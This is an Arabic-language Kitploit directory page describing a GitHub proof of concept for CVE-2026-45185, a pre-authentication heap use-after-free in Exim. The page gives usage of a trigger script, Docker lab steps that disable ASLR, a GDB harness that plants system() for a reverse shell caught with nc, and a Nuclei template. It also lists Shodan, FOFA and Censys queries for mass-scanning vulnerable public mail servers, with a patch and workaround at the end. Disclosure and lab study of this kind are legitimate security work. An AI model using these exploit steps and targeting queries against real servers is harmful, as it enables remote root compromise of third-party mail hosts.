Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-45185 — يستغل ثغرة use-after-free حرجة في الكومة (heap) قبل المصادقة في Exim عبر close_notify الخاص بـ TLS للحصول على صلاحيات الجذر عن بُعد؛ ويتضمن بيئة اختبار مختبرية (lab harness) بـ GDB وقالب كشف بـ Nuclei. | Kitploit
أدوات/GitHubGitHub/0init/cve-2026-45185
ماسحات الثغرات الأمنيةتحليل الثغرات الأمنيةالاستغلالالتعلم والتعليماستغلال الملفات الثنائيةمختبرات وتدريب عملي
GitHub0init/cve-2026-45185

CVE-2026-45185

يستغل ثغرة use-after-free حرجة في الكومة (heap) قبل المصادقة في Exim عبر close_notify الخاص بـ TLS للحصول على صلاحيات الجذر عن بُعد؛ ويتضمن بيئة اختبار مختبرية (lab harness) بـ GDB وقالب كشف بـ Nuclei.

عرض المستودع
منذ 12 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-45185 — Dead.Letter: ثغرة استخدام بعد التحرير (Heap UAF) في Exim تؤدي إلى صلاحيات الجذر عن بُعد

CVSS 9.8 حرجة | Exim 4.97–4.99.2 | بنيات Ubuntu / GnuTLS | بدون مصادقة

تقرير كامل مع تتبّع GDB، وتحليل خطوة بخطوة، وبيانات التعرض العالمية:
https://0init.github.io/cve-2026-45185-dead-letter-exim-rce.html


ما هي الثغرة

إرسال تنبيه close_notify عبر TLS بينما يكون Exim في منتصف نقل جسم الرسالة عبر BDAT يؤدي إلى استدعاء tls_close() للدالة gnutls_deinit()، مما يحرّر البنية gnutls_session_int التي يبلغ حجمها 7,304 بايت. تحتفظ طبقة استقبال BDAT بمؤشر قديم (stale pointer). وعند استئناف حلقة قراءة الجسم، تقوم tls_getbuf → gnutls_record_recv بإلغاء مرجعية الجلسة المحرَّرة — استخدام بعد التحرير في الكومة، قبل المصادقة ودون الحاجة إلى أي بيانات اعتماد.

تم إصلاحه في Exim 4.99.3.


الإصدارات المتأثرة

الشرطالمطلوب
إصدار Exim4.97, 4.97.x, 4.98, 4.98.x, 4.99.0, 4.99.1, 4.99.2
البناءUbuntu / Debian مع GnuTLS (libgnutls28-dev)
الميزةCHUNKING مُعلَن في EHLO (مفعّل افتراضيًا)

Alpine Linux وExim المُجمَّع يدويًا والمرتبط مع OpenSSL غير متأثرين.


الملفات


poc.py — مشغّل UAF

root@kitploit:~
python3 poc.py <host> <port> <rcpt@domain>

# example
python3 poc.py mail.example.com 587 [email protected]

إذا بقي الخادم يعمل بعد تنفيذ المشغّل، فإن مسار UAF موجود. إذا تعطّل الخادم، فهذا يعني أن شيئًا ما تغيّر في سلوك tcache.


diag19_gdb.py — منصة استغلال GDB (للمختبر فقط)

إعداد مختبر Docker (5 دقائق)

root@kitploit:~
# 1. Pull Ubuntu 22.04 + install Exim 4.97 with GnuTLS
docker run -it --name exim4-lab ubuntu:22.04 bash
apt-get update && apt-get install -y exim4 gdb python3

# 2. Disable ASLR (required for hardcoded addresses)
echo 0 | tee /proc/sys/kernel/randomize_va_space

# 3. Configure Exim — enable CHUNKING + STARTTLS, listen on all interfaces
dpkg-reconfigure exim4-config   # choose "internet site", accept defaults

# 4. Start Exim under GDB with harness loaded
gdb -q -x /path/to/diag19_gdb.py --args /usr/sbin/exim4 -bd -d

# 5. In another terminal, run the trigger
python3 poc.py 127.0.0.1 25 user@localhost

# 6. Start a listener for the reverse shell
nc -lvp 4444

قبل التشغيل: عدّل CMD في diag19_gdb.py ليشير إلى عنوان IP الخاص بالمستمع لديك.
يتم حل عنوان SYSTEM ديناميكيًا عند التحميل — لا حاجة إلى بحث يدوي.
العنوانان داخل PostTlsCloseFin (lwr_receive_getbuf, tls_getbuf) هما عنوانان داخليان خاصان بـ Exim ويجب أن يتطابقا مع بنائك:

root@kitploit:~
(gdb) p &lwr_receive_getbuf
(gdb) p tls_getbuf

CVE-2026-45185.yaml — كشف Nuclei

root@kitploit:~
# Single target
nuclei -t CVE-2026-45185.yaml -u mail.target.com -v

# Target list
nuclei -t CVE-2026-45185.yaml -l smtp-hosts.txt

# Mass scan from Shodan results
shodan search '"Exim 4.97" "Ubuntu" "CHUNKING" port:25' --fields ip_str,port | \
  awk '{print $1":"$2}' > targets.txt
nuclei -t CVE-2026-45185.yaml -l targets.txt

منطق الكشف

ينفّذ القالب مرحلتين مستقلتين:

  1. بصمة EHLO — يرسل EHLO ويطابق الشروط الثلاثة المطلوبة:
    • تعبير regex للإصدار 4.97–4.99.2
    • Ubuntu في الترويسة (تأكيد الارتباط مع GnuTLS)
    • CHUNKING في القدرات
  2. فحص BDAT — يرسل BDAT 200 بدون RCPT TO، ويطابق رسالة 503 الخاصة بـ Exim:
    root@kitploit:~
    503 valid RCPT command must precede BDAT
    

استعلامات المسح الشامل

root@kitploit:~
# Shodan
"Exim 4.97" "Ubuntu" "CHUNKING" port:25,587

# FOFA
banner="Exim 4.97" && banner="Ubuntu" && banner="CHUNKING" && (port="25" || port="587")

# Censys
services.smtp.banner:"Exim 4.97" and services.smtp.banner:"Ubuntu"

المعالجة

قم بالترقية إلى Exim 4.99.3 أو أحدث (التصحيح الرسمي).

حل بديل (لا يوجد مسار استغلال، ولا حاجة لإعادة التشغيل للاختبار):

root@kitploit:~
# exim4.conf
chunking_advertise_hosts = !*

ثم نفّذ service exim4 restart.


الخط الزمني

التاريخالحدث
2026-06-10تعيين CVE بواسطة XBOW
2026-06-24إصدار النشرة الأمنية العامة
2026-08-07تأكيد RCE مخبريًا؛ نشر هذا التقرير + PoC

المراجع

  • التقرير: https://0init.github.io/cve-2026-45185-dead-letter-exim-rce.html
  • نشرة XBOW الأمنية: https://xbow.com/blog/dead-letter-cve-2026-45185-xbow-found-rce-exim
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-45185

بقلم @0Init

تنزيل الأداة
الملفالغرض
poc.pyمشغّل UAF — المكتبة القياسية فقط، بدون pip. آمن للتشغيل ضد خوادمك الخاصة. يصل إلى مسار UAF ثم يتوقف (بدون حمولة).
diag19_gdb.pyمنصة استغلال GDB — 7 نقاط توقف، يكتب system() في القطعة المحرَّرة بعد عودة gnutls_deinit(). للمختبر فقط (يتطلب إيقاف ASLR + تطابق إصدارات المكتبات).
CVE-2026-45185.yamlقالب Nuclei — يكتشف الشروط المسبقة الثلاثة عبر بصمة EHLO + فحص BDAT. كشف آمن للقراءة فقط.